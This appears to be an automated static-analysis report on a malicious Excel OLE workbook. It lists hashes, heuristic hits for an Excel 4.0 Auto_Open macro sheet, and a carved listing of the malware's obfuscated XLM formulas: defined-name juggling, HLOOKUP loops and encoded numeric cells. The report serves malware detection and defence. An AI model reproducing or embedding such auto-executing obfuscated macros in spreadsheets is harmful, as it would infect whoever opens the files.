Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5a2bcb23c1ebff9f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:28 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: aef228edd31f4f1664430954519e5eea SHA-1: 5891baaa448628f5e8b21a4f386c20d575608bd1 SHA-256: 5a2bcb23c1ebff9f8cff596997796c5dbab280c4052bd946923023599d3d0f0a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6686 bytes
SHA-256: 6f330945fe82235aa5e8ca445a732c8089bbd789643984ffb95b4cb3dee2d068
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EMASPj
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F150 
' 0018     23 LABEL : Cell Value, String Constant - axWEvRPz len=0 
' 0018     26 LABEL : Cell Value, String Constant - azQPynPwstO len=0 
' 0018     21 LABEL : Cell Value, String Constant - BBbQjt len=0 
' 0018     24 LABEL : Cell Value, String Constant - dkulFLJMM len=0 
' 0018     24 LABEL : Cell Value, String Constant - dURafMTjA len=0 
' 0018     25 LABEL : Cell Value, String Constant - emOuWgrISL len=0 
' 0018     27 LABEL : Cell Value, String Constant - eunNQSLyxuMx len=0 
' 0018     22 LABEL : Cell Value, String Constant - FQYmrjv len=0 
' 0018     27 LABEL : Cell Value, String Constant - gMReVFsJRLjb len=0 
' 0018     23 LABEL : Cell Value, String Constant - hlcwjmFt len=0 
' 0018     23 LABEL : Cell Value, String Constant - kJystCxc len=0 
' 0018     23 LABEL : Cell Value, String Constant - LHTHVPyE len=0 
' 0018     27 LABEL : Cell Value, String Constant - NAdWDLrBnJUC len=0 
' 0018     21 LABEL : Cell Value, String Constant - oFsnUp len=0 
' 0018     25 LABEL : Cell Value, String Constant - OOuwtymBjG len=0 
' 0018     22 LABEL : Cell Value, String Constant - qPWIiWf len=0 
' 0018     21 LABEL : Cell Value, String Constant - RdXYdl len=0 
' 0018     27 LABEL : Cell Value, String Constant - RiDIwcFhFeCA len=0 
' 0018     22 LABEL : Cell Value, String Constant - tubCtoc len=0 
' 0018     26 LABEL : Cell Value, String Constant - vzAirPGQSzc len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EMASPj,Q41,"",-971.00000000000000000000
'  EMASPj,Q42,"",409.00000000000000000000
'  EMASPj,Q43,"",336.00000000000000000000
'  EMASPj,Q44,"",436.00000000000000000000
'  EMASPj,Q45,"",531.00000000000000000000
'  EMASPj,Q46,"",901.00000000000000000000
'  EMASPj,F69,"SET.NAME("eunNQSLyxuMx",0+VALUE("0"))",""
'  EMASPj,F71,"SET.NAME("RdXYdl",eunNQSLyxuMx)",""
'  EMASPj,F73,"SET.NAME("dURafMTjA",eunNQSLyxuMx)",""
'  EMASPj,F75,"SET.NAME("RiDIwcFhFeCA",COUNTA(qPWIiWf))",""
'  EMASPj,F77,"SET.NAME("oFsnUp",COUNTA(BBbQjt))",""
'  EMASPj,F81,[],""
'  EMASPj,F85,"SET.NAME("dkulFLJMM","")",""
'  EMASPj,F87,"RdXYdl",""
'  EMASPj,F91,"SET.NAME("OOuwtymBjG",HLOOKUP("*",qPWIiWf,RdXYdl,FALSE))",""
'  EMASPj,F96,"azQPynPwstO",""
'  EMASPj,F98,"SET.NAME("vzAirPGQSzc",eunNQSLyxuMx)",""
'  EMASPj,F102,[],""
'  EMASPj,F106,"vzAirPGQSzc",""
'  EMASPj,F109,"gMReVFsJRLjb",""
'  EMASPj,F111,"NAdWDLrBnJUC",""
'  EMASPj,F113,"axWEvRPz",""
'  EMASPj,F116,"SET.NAME("FQYmrjv",VALUE(HLOOKUP("*",BBbQjt,axWEvRPz,FALSE)))",""
'  EMASPj,F118,"tubCtoc",""
'  EMASPj,F122,"dkulFLJMM",""
'  EMASPj,F124,"dURafMTjA",""
'  EMASPj,F127,NEXT(),""
'  EMASPj,F130,"kJystCxc",""
'  EMASPj,F135,[],""
'  EMASPj,F138,"LHTHVPyE",""
'  EMASPj,F142,NEXT(),""
'  EMASPj,F147,RETURN(),""
'  EMASPj,F174,"SET.NAME("emOuWgrISL",F69)",""
'  EMASPj,F179,"qPWIiWf",""
'  EMASPj,F184,"SET.NAME("BBbQjt",R88C11)",""
'  EMASPj,F187,"SET.NAME("LHTHVPyE",194)",""
'  EMASPj,F191,"SET.NAME("hlcwjmFt",6)",""
'  EMASPj,F193,emOuWgrISL(),""
'  EMASPj,F194,HALT(),""

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